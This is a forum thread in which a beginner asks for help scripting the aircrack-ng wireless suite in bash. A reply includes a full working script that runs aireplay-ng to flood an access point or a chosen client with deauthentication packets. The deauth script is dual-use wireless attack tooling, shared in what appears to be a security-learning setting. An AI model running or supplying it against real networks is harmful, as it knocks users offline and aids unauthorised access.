Jump to content

n00b Needs advice on shell scripts


hypnotoad

Recommended Posts

Hey all,

I'm new here and thought I'd introduce myself with a question.

I'm currently teaching myself to write shell scripts and, if I'm honest, I'm not doing to well.

I cant figure out how to call another program from with in my script.

What I am trying to achieve is an interactive script for using the aircrack-ng suite.

My stumbling block is where I want to call airmon-ng and extract the wireless devices it finds as variables and present them to the user in a numbered list:

1: ath0

2: wifi0

3: wlan0 etc....

I have tried

function airmon-ng

{

/pentest/wireless/aircrack-ng/./airmon-ng

}

~

~

~

~

read response

if response=

then

function airmon-ng

fi

but nothing happens.

Can anyone offer any advice on how I could achieve this?

I have a feeling i will need to do something like

./airmon-ng | nano file

and then parse the file with sed or awk to extract the device names and pass them to the script as options for the user.

(I hope there is an easier way.... sed and awk scare me..... i'm stoopid!)

If anyone can advise me, i'd be really grateful :)

Link to comment
Share on other sites

I wouldn't go about this in the way that you get the wireless devices from airmon-ng.

I would get the devices from ifconfig.

I don't think you'll be able to get away with not using awk, but I could be wrong, but using the applications that the terminal has built in will be easier to incorporate into the script and to modify their output to your liking.

You'll have to probably store each device to a variable and then display them. This will be quite the project and props to you if you can complete it. This will be a huge project if you incorporate all of the aircrack tools within the script I wouldn't go about this with a script if it was me, especially bash scripting, but I'm sure it's doable.

I have written some scripts for working with specific tools with aircrack-ng, but never the whole suite, so good luck to you and hopefully someone with more bash knowledge will leave some knowledge behind. =)

EDIT: Added my Aireplay Deauth Script. Note, this is used on a Sharp Zaurus(Linux PDA) which is not enjoyable to type out all the commands, but it may be of some use to someone.

#!/bin/sh
# Author: HacDan
# Author Email: hacdan@gmail.com
# Note to audience: Yes I'm a C++ programer and I prefer everything
# in functions, I'm sorry for any inconvenience.

#Set Wireless Device, Normally wlan0
wifidevice=wlan0

clear

echo "#############################"
echo "# Aireplay-ng DeAuth Script #"
echo "#############################"

# accesspoint is the function that requests the Access Points BSSID
# Also this function asks the user if the BSSID is correct and 
# prints the currnet BSSID
accesspoint () { 
echo "Please enter the Access Point's BSSID" 
read apbssid
echo $apbssid "Correct?" "1=Yes 2=No"
read answer

if [ $answer = "1" ]
then 
	return 0
fi 

if [ $answer = "2" ]
then
	acesspoint 
fi
}

# client is the function that requests the Singe Client's BSSID
# Also, as with accesspoint() this function asks the user if 
# the BSSID is correct and prints the current BSSID
client () {
echo "Please enter the Client's BSSID"
read client
echo $client "Correct?" "1=Yes 2=No"
read answer2

if [ $answer2 = "1" ]
then
	return 0
fi 

if [ $answer2 = "2" ]
then
	client
fi
}

# main sets global options and also prompts the user for the type of deauth
main () {
echo "Is this a single or all client deauthentication?"
echo "1=Single 2=All Client"
read answer3

if [ $answer3 = "1" ]
then
accesspoint
client
fi

if [ $answer3 = "2" ]
then
accesspoint
fi
echo "How many deauth packets would you like to send?" 
echo "Enter 0 for a continuous stream of deauth packets."
read packets
packets="$packets"

if [ $answer3 = "1" ]
then
withclient
fi

if [ $answer3 = "2" ]
then
noclient
fi
}

#Actual Commands
noclient () {
aireplay-ng -0 $packets -a $apbssid $wifidevice
#echo "$packets $apbssid $wifidevice" ## For testing purposes only
}

withclient () {
aireplay-ng -0 $packets -a $apbssid -c $client $wifidevice
#echo "$packets $apbssid $client $wifidevice" ## For testing pupouses only
}
main #Starting script from the bottom!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...